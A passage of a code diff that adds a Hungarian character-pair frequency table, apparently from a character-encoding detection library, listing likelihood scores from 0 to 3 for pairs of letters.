# 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 2, # 'é' + 30: 1, # 'í' + 25: 2, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 33: { # 'S' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 2, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 2, # 'S' + 37: 2, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 3, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 1, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 1, # 'h' + 9: 2, # 'i' + 22: 0, # 'j' + 7: 1, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 0, # 'n' + 8: 2, # 'o' + 23: 1, # 'p' + 10: 0, # 'r' + 5: 0, # 's' + 3: 1, # 't' + 21: 1, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 3, # 'z' + 51: 2, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 37: { # 'T' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 2, # 'O' + 46: 1, # 'P' + 43: 2, # 'R' + 33: 1, # 'S' + 37: 2, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 1, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 1, # 'h' + 9: 2, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 1, # 's' + 3: 0, # 't' + 21: 2, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 1, # 'z' + 51: 2, # 'Á' + 44: 2, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 2, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 57: { # 'U' + 28: 1, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 1, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 2, # 'S' + 37: 1, # 'T' + 57: 0, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 0, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 1, # 'e' + 27: 0, # 'f' + 12: 2, # 'g' + 20: 0, # 'h' + 9: 0, # 'i' + 22: 1, # 'j' + 7: 1, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 0, # 'o' + 23: 1, # 'p' + 10: 1, # 'r' + 5: 1, # 's' + 3: 1, # 't' + 21: 0, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 1, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 48: { # 'V' + 28: 2, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 0, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 2, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 0, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 0, # 'z' + 51: 2, # 'Á' + 44: 2, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 0, # 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 2, # 'é' + 30: 1, # 'í' + 25: 0, # 'ó' + 24: 1, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 55: { # 'Y' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 2, # 'Z' + 2: 1, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 1, # 'd' + 1: 1, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 0, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 1, # 'o' + 23: 1, # 'p' + 10: 0, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 0, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 0, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 52: { # 'Z' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 0, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 2, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 2, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 1, # 'Z' + 2: 1, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 1, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 1, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 0, # 'm' + 4: 1, # 'n' + 8: 1, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 2, # 's' + 3: 0, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 0, # 'z' + 51: 2, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 2: { # 'a' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 1, # 'a' + 18: 3, # 'b' + 26: 3, # 'c' + 17: 3, # 'd' + 1: 2, # 'e' + 27: 2, # 'f' + 12: 3, # 'g' + 20: 3, # 'h' + 9: 3, # 'i' + 22: 3, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 2, # 'o' + 23: 3, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 3, # 'v' + 62: 1, # 'x' + 16: 2, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 18: { # 'b' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 3, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 3, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 1, # 'h' + 9: 3, # 'i' + 22: 2, # 'j' + 7: 2, # 'k' + 6: 2, # 'l' + 13: 1, # 'm' + 4: 2, # 'n' + 8: 3, # 'o' + 23: 1, # 'p' + 10: 3, # 'r' + 5: 2, # 's' + 3: 1, # 't' + 21: 3, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 2, # 'í' + 25: 3, # 'ó' + 24: 2, # 'ö' + 31: 2, # 'ú' + 29: 2, # 'ü' + 42: 2, # 'ő' + 56: 1, # 'ű' + }, + 26: { # 'c' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 1, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 1, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 2, # 'a' + 18: 1, # 'b' + 26: 2, # 'c' + 17: 1, # 'd' + 1: 3, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 3, # 'h' + 9: 3, # 'i' + 22: 1, # 'j' + 7: 2, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 3, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 3, # 's' + 3: 2, # 't' + 21: 2, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 2, # 'á' + 15: 2, # 'é' + 30: 2, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 17: { # 'd' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 2, # 'b' + 26: 1, # 'c' + 17: 2, # 'd' + 1: 3, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 2, # 'h' + 9: 3, # 'i' + 22: 3, # 'j' + 7: 2, # 'k' + 6: 1, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 1, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 3, # 'v' + 62: 0, # 'x' + 16: 2, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 3, # 'í' + 25: 3, # 'ó' + 24: 3, # 'ö' + 31: 2, # 'ú' + 29: 2, # 'ü' + 42: 2, # 'ő' + 56: 1, # 'ű' + }, + 1: { # 'e' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 2, # 'a' + 18: 3, # 'b' + 26: 3, # 'c' + 17: 3, # 'd' + 1: 2, # 'e' + 27: 3, # 'f' + 12: 3, # 'g' + 20: 3, # 'h' + 9: 3, # 'i' + 22: 3, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 2, # 'o' + 23: 3, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 2, # 'u' + 19: 3, # 'v' + 62: 2, # 'x' + 16: 2, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 27: { # 'f' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 3, # 'e' + 27: 2, # 'f' + 12: 1, # 'g' + 20: 1, # 'h' + 9: 3, # 'i' + 22: 2, # 'j' + 7: 1, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 3, # 'o' + 23: 0, # 'p' + 10: 3, # 'r' + 5: 1, # 's' + 3: 1, # 't' + 21: 2, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 0, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 3, # 'ö' + 31: 1, # 'ú' + 29: 2, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 12: { # 'g' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 3, # 'b' + 26: 2, # 'c' + 17: 2, # 'd' + 1: 3, # 'e' + 27: 2, # 'f' + 12: 3, # 'g' + 20: 3, # 'h' + 9: 3, # 'i' + 22: 3, # 'j' + 7: 2, # 'k' + 6: 3, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 1, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 3, # 'v' + 62: 0, # 'x' + 16: 3, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 2, # 'í' + 25: 3, # 'ó' + 24: 2, # 'ö' + 31: 2, # 'ú' + 29: 2, # 'ü' + 42: 2, # 'ő' + 56: 1, # 'ű' + }, + 20: { # 'h' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 0, # 'd' + 1: 3, # 'e' + 27: 0, # 'f' + 12: 1, # 'g' + 20: 2, # 'h' + 9: 3, # 'i' + 22: 1, # 'j' + 7: 1, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 3, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 2, # 's' + 3: 1, # 't' + 21: 3, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 2, # 'y' + 11: 0, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 3, # 'í' + 25: 2, # 'ó' + 24: 2, # 'ö' + 31: 2, # 'ú' + 29: 1, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 9: { # 'i' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 3, # 'b' + 26: 3, # 'c' + 17: 3, # 'd' + 1: 3, # 'e' + 27: 3, # 'f' + 12: 3, # 'g' + 20: 3, # 'h' + 9: 2, # 'i' + 22: 2, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 2, # 'o' + 23: 2, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 3, # 'v' + 62: 1, # 'x' + 16: 1, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 2, # 'é' + 30: 1, # 'í' + 25: 3, # 'ó' + 24: 1, # 'ö' + 31: 2, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 1, # 'ű' + }, + 22: { # 'j' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 2, # 'b' + 26: 1, # 'c' + 17: 3, # 'd' + 1: 3, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 2, # 'h' + 9: 1, # 'i' + 22: 2, # 'j' + 7: 2, # 'k' + 6: 2, # 'l' + 13: 1, # 'm' + 4: 2, # 'n' + 8: 3, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 2, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 1, # 'í' + 25: 3, # 'ó' + 24: 3, # 'ö' + 31: 3, # 'ú' + 29: 2, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 7: { # 'k' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 3, # 'b' + 26: 2, # 'c' + 17: 1, # 'd' + 1: 3, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 2, # 'h' + 9: 3, # 'i' + 22: 2, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 1, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 1, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 2, # 'v' + 62: 0, # 'x' + 16: 2, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 3, # 'í' + 25: 2, # 'ó' + 24: 3, # 'ö' + 31: 1, # 'ú' + 29: 3, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 6: { # 'l' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 1, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 1, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 2, # 'b' + 26: 3, # 'c' + 17: 3, # 'd' + 1: 3, # 'e' + 27: 3, # 'f' + 12: 3, # 'g' + 20: 3, # 'h' + 9: 3, # 'i' + 22: 3, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 2, # 'p' + 10: 2, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 3, # 'v' + 62: 0, # 'x' + 16: 3, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 3, # 'í' + 25: 3, # 'ó' + 24: 3, # 'ö' + 31: 2, # 'ú' + 29: 2, # 'ü' + 42: 3, # 'ő' + 56: 1, # 'ű' + }, + 13: { # 'm' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 3, # 'b' + 26: 2, # 'c' + 17: 1, # 'd' + 1: 3, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 2, # 'h' + 9: 3, # 'i' + 22: 2, # 'j' + 7: 1, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 2, # 'n' + 8: 3, # 'o' + 23: 3, # 'p' + 10: 2, # 'r' + 5: 2, # 's' + 3: 2, # 't' + 21: 3, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 2, # 'í' + 25: 2, # 'ó' + 24: 2, # 